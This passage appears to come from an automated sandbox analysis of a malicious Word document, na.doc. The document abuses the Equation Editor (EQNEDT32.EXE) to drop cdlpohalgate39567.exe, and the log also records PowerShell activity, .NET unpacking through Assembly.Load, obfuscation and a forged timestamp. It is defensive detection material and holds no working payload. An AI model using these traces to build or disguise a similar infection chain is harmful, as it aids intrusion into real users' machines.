Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: na.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\na.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: na.doc Static file information: File size 1875360 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: DGaD.pdb source: cdlpohalgate39567.exe, 00000005.00000000.428364525.0000000001012000.00000020.00000001.01000000.00000004.sdmp, cdlpohalgate39567.exe.2.dr, pgTQ4mfZBbJhpdd[1].exe.2.dr
Source: Binary string: DGaD.pdbSHA256 source: cdlpohalgate39567.exe, 00000005.00000000.428364525.0000000001012000.00000020.00000001.01000000.00000004.sdmp, cdlpohalgate39567.exe.2.dr, pgTQ4mfZBbJhpdd[1].exe.2.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 5.2.cdlpohalgate39567.exe.350ac68.6.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, nW3sEsBesrd65eePGN.cs .Net Code: VAmkY83jW4FFbrfoZ9w System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, nW3sEsBesrd65eePGN.cs .Net Code: VAmkY83jW4FFbrfoZ9w System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohalgate39567.exe.3521e88.5.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohalgate39567.exe.560000.0.raw.unpack, Uo.cs .Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, nW3sEsBesrd65eePGN.cs .Net Code: VAmkY83jW4FFbrfoZ9w System.Reflection.Assembly.Load(byte[])
Binary contains a suspicious time stamp
Source: pgTQ4mfZBbJhpdd[1].exe.2.dr Static PE information: 0xFAF3F458 [Sun Jun 3 05:30:00 2103 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00688F60 push eax; retf 2_2_00688F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00680029 push eax; retf 2_2_006801F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006967EC push esp; ret 2_2_006967EF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006967E4 push esp; ret 2_2_006967E7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006969C0 push ebp; ret 2_2_006969C3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006969C7 push ebp; ret 2_2_006969CB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006967D8 push dword ptr [esi+edi*2+54h]; ret 2_2_006967DF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006969D0 push ebp; ret 2_2_006969D3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006967A6 push esp; ret 2_2_006967A7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006801F8 push eax; retf 2_2_006801F5
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_0025217B push ebx; iretd 7_2_002521EA
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_0025214B push ebx; iretd 7_2_002521EA
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Code function: 7_2_006490F8 pushfd ; retn 0061h 7_2_006490F9
Source: pgTQ4mfZBbJhpdd[1].exe.2.dr Static PE information: section name: .text entropy: 7.715403926805422
Source: cdlpohalgate39567.exe.2.dr Static PE information: section name: .text entropy: 7.715403926805422
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, wZYymHrFoY38S2MTRa.cs High entropy of concatenated method names: 'P5vPIkYb5p', 'civPRMsp6N', 'YsGPMjEgui', 'z6DMiIJ9r0', 'MG4MztyE4i', 'W3APl0Fqgn', 'qeHPp6nZ7J', 'j31P6xJ0Wl', 'RywPAweWqO', 'FoaPfgC5hP'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, uMam44yANcqB9ltWGZ.cs High entropy of concatenated method names: 'EFLF2ti1sN', 'L1JFiB3ifx', 'DQBdlj4DYx', 'G6fdpV2rY4', 'UtDFxAraSm', 'vvwFXMALoa', 'eqfF9eoeAe', 'RDuFthUu3B', 'kDOFVPKfnx', 'no7Fkox2Sp'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, RacRVlod0sw8B9ouMm.cs High entropy of concatenated method names: 'NW4FQ5oprB', 'UDhFLxAAki', 'ToString', 'hRrFIKQVZ1', 'kGcFjT9GGM', 'ecBFRPoHYB', 'eCjFgXlg2f', 'ubBFMpHgPD', 'YtCFPNs2Q4', 'QBOFBMDkAa'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, FMNSgKjiBI0GqqBPyE.cs High entropy of concatenated method names: 'Dispose', 'Yelp3ptOiC', 'wfU6hkDkoj', 'ICdTTuDWyR', 'xTgpiRkZ6q', 'GijpzoBDnR', 'ProcessDialogKey', 'h306ltFFNc', 'kC96pw2GeY', 'wZw663Bq1m'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, VF3gsb4AyHhvKmAXXL.cs High entropy of concatenated method names: 'kQ7jtWUk5H', 'DcwjVuHGuf', 'TSMjk1eh5B', 'JbrjoOka2A', 'S9ajTCpwVU', 'G5YjyBkQ7N', 'fxQjs4hqny', 'pJgj2ENsdQ', 'Q7Bj3PAsxd', 'parjiOTdjP'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, nW3sEsBesrd65eePGN.cs High entropy of concatenated method names: 'Q8dAWROUoP', 'E1XAInIrD1', 'm7oAjjBvEo', 'jD1ARx19N2', 'hpVAgt3rQg', 'gZcAMoyKTn', 'OVTAPf31Wg', 'gF0ABNf9Iu', 'wrSADHabtU', 'tPfAQrXbPs'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, q0oPAczaM2AlECiIlp.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U6naUPceOL', 'i8xaK8buAo', 'uURa88pl01', 's3eaFF4lyn', 'mBkad6c3dK', 'XOMaaQB4rk', 'xDuaCwOPA6'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, UubkCypA6UxGGlIjJaS.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'KoBCtU38j1', 'bcfCVygkhX', 'R08Ck6muVE', 'yBFCoJwERI', 'uOSCTMd6Zc', 'PdSCy8uWVu', 'MldCsVmK11'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, PS1QYGfvWduZHVD3VT.cs High entropy of concatenated method names: 'alypPF3gsb', 'cyHpBhvKmA', 'udppQGIUSw', 'KvSpLndPID', 'F2DpKWW8Kp', 'qwXp8m2Ucf', 'KiQ8bdbf5g1EPU1Xki', 'A4oar711htTpPq2S4r', 'Q8jppFU7f1', 'ExIpALIFas'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, yxy520tCOSSyhHgTUP.cs High entropy of concatenated method names: 'SoIKwRkTVl', 'hA5KXkLYqH', 'RJCKtUXhsi', 'sUxKVTtyYC', 'rNHKhjfsqD', 'd70KbI9ylM', 'jAlKHMh6S9', 'TPYKNltbGE', 'udnKcGbIHy', 'b2fKrhcID4'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, i6hDKhuOFikgkptYVR.cs High entropy of concatenated method names: 'rVVPmqi69N', 'NR6PGH5C9m', 'rLHPZMi9TT', 'bZEPvxJqap', 'XxEPYBN12N', 'HNRPq6PKxW', 'ScdPnARZtT', 'CfjP4G2ZNn', 'rYIP7N6qab', 'cFvPOXxo94'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, HUU0lO6rFnmxGghwkw.cs High entropy of concatenated method names: 'JNsZVbgKZ', 'hiTvLYXRm', 'uoYq03sAg', 'YVUnvPFHM', 'dWF7McE9h', 'nt8OGpyxu', 'vuN8429X7BAgsoh5dW', 'mURjx9tTBQRQyhjRN6', 'CindrTXgt', 'NGsCnq6Uc'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, wtFFNc3BC9w2GeYJZw.cs High entropy of concatenated method names: 'h9AdeYDZoU', 'ymhdh7brKY', 'X4udbxiSui', 'DJxdHsmYER', 'FFndtYAYnY', 'r4hdNSg0cm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, pKpdwXem2UcftDnZyy.cs High entropy of concatenated method names: 'CjiMW4YWE9', 'E2tMjfQxrn', 'o4PMgXBHdJ', 'ELeMPJhuKJ', 'IdvMBROhcy', 'GqNgTIy2O0', 'ecggyK1H8V', 'c5HgsI1JeA', 'kyGg29HsT1', 'YHBg3PpiDA'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, UgRkZ62qeijoBDnRg3.cs High entropy of concatenated method names: 'QYCdIZLXAw', 'EPfdjFxx9X', 'Hy8dR74KsC', 'IpvdgFQfSW', 'n9DdMY1EC4', 'Ld4dP0u3kf', 'P78dBgduJ5', 'wpQdDZvjiG', 'rvGdQ2fj3H', 'OptdL0W7Gb'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, SMpCmI9EORh017fyt8.cs High entropy of concatenated method names: 'qHgU4612XJ', 'IdOU75WmpW', 'xHGUe7qLea', 'DXOUhKYGpV', 'FPTUHia0Ke', 'hK3UNZZTu7', 'DsJUrH3Yl5', 'iAZUEbyyIp', 'V3FUwD7Nsq', 'SfRUxApFUm'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, l9arAZplXQNfZvfcDbW.cs High entropy of concatenated method names: 'l8yamo2ja9', 'fIQaGiSbWZ', 'iTMaZ4uVrX', 'X5aavJG3fF', 'fP3aYO2Dik', 'mY3aq0cMOk', 'nNaanfwKQF', 'IhGa4EJLYY', 'B4La7dN4oQ', 'db8aOrBNLH'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, JonEZ17dpGIUSwcvSn.cs High entropy of concatenated method names: 'zW0RvEqsoX', 'I6gRqpZTm5', 'e09R4QYYeO', 'dJ5R7Zv1Zf', 'KfkRK4n25A', 'wM6R8YeJc9', 'IrpRFRkb5W', 'RdGRdxLZGM', 'gPgRaTCpMG', 'LhbRCTVh3d'
Source: 5.2.cdlpohalgate39567.exe.8cd0000.7.raw.unpack, YBq1mCiwEAnc0RFD2k.cs High entropy of concatenated method names: 'lgRapjRQTY', 'V3jaAJUHJF', 'xdUafJLYTE', 'PsHaI4RFmZ', 'rYKajmIhYd', 'udCagC8N8N', 'hpfaMg8TbL', 'L6Mdsw2GmY', 'lSNd2ifFsy', 'PqPd38THMd'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, wZYymHrFoY38S2MTRa.cs High entropy of concatenated method names: 'P5vPIkYb5p', 'civPRMsp6N', 'YsGPMjEgui', 'z6DMiIJ9r0', 'MG4MztyE4i', 'W3APl0Fqgn', 'qeHPp6nZ7J', 'j31P6xJ0Wl', 'RywPAweWqO', 'FoaPfgC5hP'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, uMam44yANcqB9ltWGZ.cs High entropy of concatenated method names: 'EFLF2ti1sN', 'L1JFiB3ifx', 'DQBdlj4DYx', 'G6fdpV2rY4', 'UtDFxAraSm', 'vvwFXMALoa', 'eqfF9eoeAe', 'RDuFthUu3B', 'kDOFVPKfnx', 'no7Fkox2Sp'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, RacRVlod0sw8B9ouMm.cs High entropy of concatenated method names: 'NW4FQ5oprB', 'UDhFLxAAki', 'ToString', 'hRrFIKQVZ1', 'kGcFjT9GGM', 'ecBFRPoHYB', 'eCjFgXlg2f', 'ubBFMpHgPD', 'YtCFPNs2Q4', 'QBOFBMDkAa'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, FMNSgKjiBI0GqqBPyE.cs High entropy of concatenated method names: 'Dispose', 'Yelp3ptOiC', 'wfU6hkDkoj', 'ICdTTuDWyR', 'xTgpiRkZ6q', 'GijpzoBDnR', 'ProcessDialogKey', 'h306ltFFNc', 'kC96pw2GeY', 'wZw663Bq1m'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, VF3gsb4AyHhvKmAXXL.cs High entropy of concatenated method names: 'kQ7jtWUk5H', 'DcwjVuHGuf', 'TSMjk1eh5B', 'JbrjoOka2A', 'S9ajTCpwVU', 'G5YjyBkQ7N', 'fxQjs4hqny', 'pJgj2ENsdQ', 'Q7Bj3PAsxd', 'parjiOTdjP'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, nW3sEsBesrd65eePGN.cs High entropy of concatenated method names: 'Q8dAWROUoP', 'E1XAInIrD1', 'm7oAjjBvEo', 'jD1ARx19N2', 'hpVAgt3rQg', 'gZcAMoyKTn', 'OVTAPf31Wg', 'gF0ABNf9Iu', 'wrSADHabtU', 'tPfAQrXbPs'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, q0oPAczaM2AlECiIlp.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U6naUPceOL', 'i8xaK8buAo', 'uURa88pl01', 's3eaFF4lyn', 'mBkad6c3dK', 'XOMaaQB4rk', 'xDuaCwOPA6'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, UubkCypA6UxGGlIjJaS.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'KoBCtU38j1', 'bcfCVygkhX', 'R08Ck6muVE', 'yBFCoJwERI', 'uOSCTMd6Zc', 'PdSCy8uWVu', 'MldCsVmK11'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, PS1QYGfvWduZHVD3VT.cs High entropy of concatenated method names: 'alypPF3gsb', 'cyHpBhvKmA', 'udppQGIUSw', 'KvSpLndPID', 'F2DpKWW8Kp', 'qwXp8m2Ucf', 'KiQ8bdbf5g1EPU1Xki', 'A4oar711htTpPq2S4r', 'Q8jppFU7f1', 'ExIpALIFas'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, yxy520tCOSSyhHgTUP.cs High entropy of concatenated method names: 'SoIKwRkTVl', 'hA5KXkLYqH', 'RJCKtUXhsi', 'sUxKVTtyYC', 'rNHKhjfsqD', 'd70KbI9ylM', 'jAlKHMh6S9', 'TPYKNltbGE', 'udnKcGbIHy', 'b2fKrhcID4'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, i6hDKhuOFikgkptYVR.cs High entropy of concatenated method names: 'rVVPmqi69N', 'NR6PGH5C9m', 'rLHPZMi9TT', 'bZEPvxJqap', 'XxEPYBN12N', 'HNRPq6PKxW', 'ScdPnARZtT', 'CfjP4G2ZNn', 'rYIP7N6qab', 'cFvPOXxo94'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, HUU0lO6rFnmxGghwkw.cs High entropy of concatenated method names: 'JNsZVbgKZ', 'hiTvLYXRm', 'uoYq03sAg', 'YVUnvPFHM', 'dWF7McE9h', 'nt8OGpyxu', 'vuN8429X7BAgsoh5dW', 'mURjx9tTBQRQyhjRN6', 'CindrTXgt', 'NGsCnq6Uc'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, wtFFNc3BC9w2GeYJZw.cs High entropy of concatenated method names: 'h9AdeYDZoU', 'ymhdh7brKY', 'X4udbxiSui', 'DJxdHsmYER', 'FFndtYAYnY', 'r4hdNSg0cm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, pKpdwXem2UcftDnZyy.cs High entropy of concatenated method names: 'CjiMW4YWE9', 'E2tMjfQxrn', 'o4PMgXBHdJ', 'ELeMPJhuKJ', 'IdvMBROhcy', 'GqNgTIy2O0', 'ecggyK1H8V', 'c5HgsI1JeA', 'kyGg29HsT1', 'YHBg3PpiDA'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, UgRkZ62qeijoBDnRg3.cs High entropy of concatenated method names: 'QYCdIZLXAw', 'EPfdjFxx9X', 'Hy8dR74KsC', 'IpvdgFQfSW', 'n9DdMY1EC4', 'Ld4dP0u3kf', 'P78dBgduJ5', 'wpQdDZvjiG', 'rvGdQ2fj3H', 'OptdL0W7Gb'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, SMpCmI9EORh017fyt8.cs High entropy of concatenated method names: 'qHgU4612XJ', 'IdOU75WmpW', 'xHGUe7qLea', 'DXOUhKYGpV', 'FPTUHia0Ke', 'hK3UNZZTu7', 'DsJUrH3Yl5', 'iAZUEbyyIp', 'V3FUwD7Nsq', 'SfRUxApFUm'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, l9arAZplXQNfZvfcDbW.cs High entropy of concatenated method names: 'l8yamo2ja9', 'fIQaGiSbWZ', 'iTMaZ4uVrX', 'X5aavJG3fF', 'fP3aYO2Dik', 'mY3aq0cMOk', 'nNaanfwKQF', 'IhGa4EJLYY', 'B4La7dN4oQ', 'db8aOrBNLH'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, JonEZ17dpGIUSwcvSn.cs High entropy of concatenated method names: 'zW0RvEqsoX', 'I6gRqpZTm5', 'e09R4QYYeO', 'dJ5R7Zv1Zf', 'KfkRK4n25A', 'wM6R8YeJc9', 'IrpRFRkb5W', 'RdGRdxLZGM', 'gPgRaTCpMG', 'LhbRCTVh3d'
Source: 5.2.cdlpohalgate39567.exe.3fe5508.2.raw.unpack, YBq1mCiwEAnc0RFD2k.cs High entropy of concatenated method names: 'lgRapjRQTY', 'V3jaAJUHJF', 'xdUafJLYTE', 'PsHaI4RFmZ', 'rYKajmIhYd', 'udCagC8N8N', 'hpfaMg8TbL', 'L6Mdsw2GmY', 'lSNd2ifFsy', 'PqPd38THMd'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, wZYymHrFoY38S2MTRa.cs High entropy of concatenated method names: 'P5vPIkYb5p', 'civPRMsp6N', 'YsGPMjEgui', 'z6DMiIJ9r0', 'MG4MztyE4i', 'W3APl0Fqgn', 'qeHPp6nZ7J', 'j31P6xJ0Wl', 'RywPAweWqO', 'FoaPfgC5hP'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, uMam44yANcqB9ltWGZ.cs High entropy of concatenated method names: 'EFLF2ti1sN', 'L1JFiB3ifx', 'DQBdlj4DYx', 'G6fdpV2rY4', 'UtDFxAraSm', 'vvwFXMALoa', 'eqfF9eoeAe', 'RDuFthUu3B', 'kDOFVPKfnx', 'no7Fkox2Sp'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, RacRVlod0sw8B9ouMm.cs High entropy of concatenated method names: 'NW4FQ5oprB', 'UDhFLxAAki', 'ToString', 'hRrFIKQVZ1', 'kGcFjT9GGM', 'ecBFRPoHYB', 'eCjFgXlg2f', 'ubBFMpHgPD', 'YtCFPNs2Q4', 'QBOFBMDkAa'
